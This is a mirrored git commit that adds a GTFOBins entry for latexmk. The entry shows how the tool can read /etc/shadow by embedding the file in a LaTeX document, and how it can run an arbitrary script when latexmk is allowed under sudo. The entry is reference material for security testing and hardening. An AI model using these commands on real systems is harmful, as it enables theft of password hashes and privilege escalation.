mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
Create latexmk.tex
Add latexmk.
This commit is contained in:
parent
2972d25e23
commit
ff22bbda93
11
_gtfobins/latexmk.tex
Normal file
11
_gtfobins/latexmk.tex
Normal file
@ -0,0 +1,11 @@
|
||||
description: `latexmk` is a perl script.
|
||||
functions:
|
||||
file-read:
|
||||
- code: |
|
||||
echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex
|
||||
latexmk read.tex
|
||||
strings read.dvi
|
||||
sudo:
|
||||
- code: |
|
||||
echo "PROGRAM > /tmp/result.txt" > /tmp/run.sh
|
||||
sudo latexmk -latex="/tmp/run.sh" file.tex
|
Loading…
Reference in New Issue
Block a user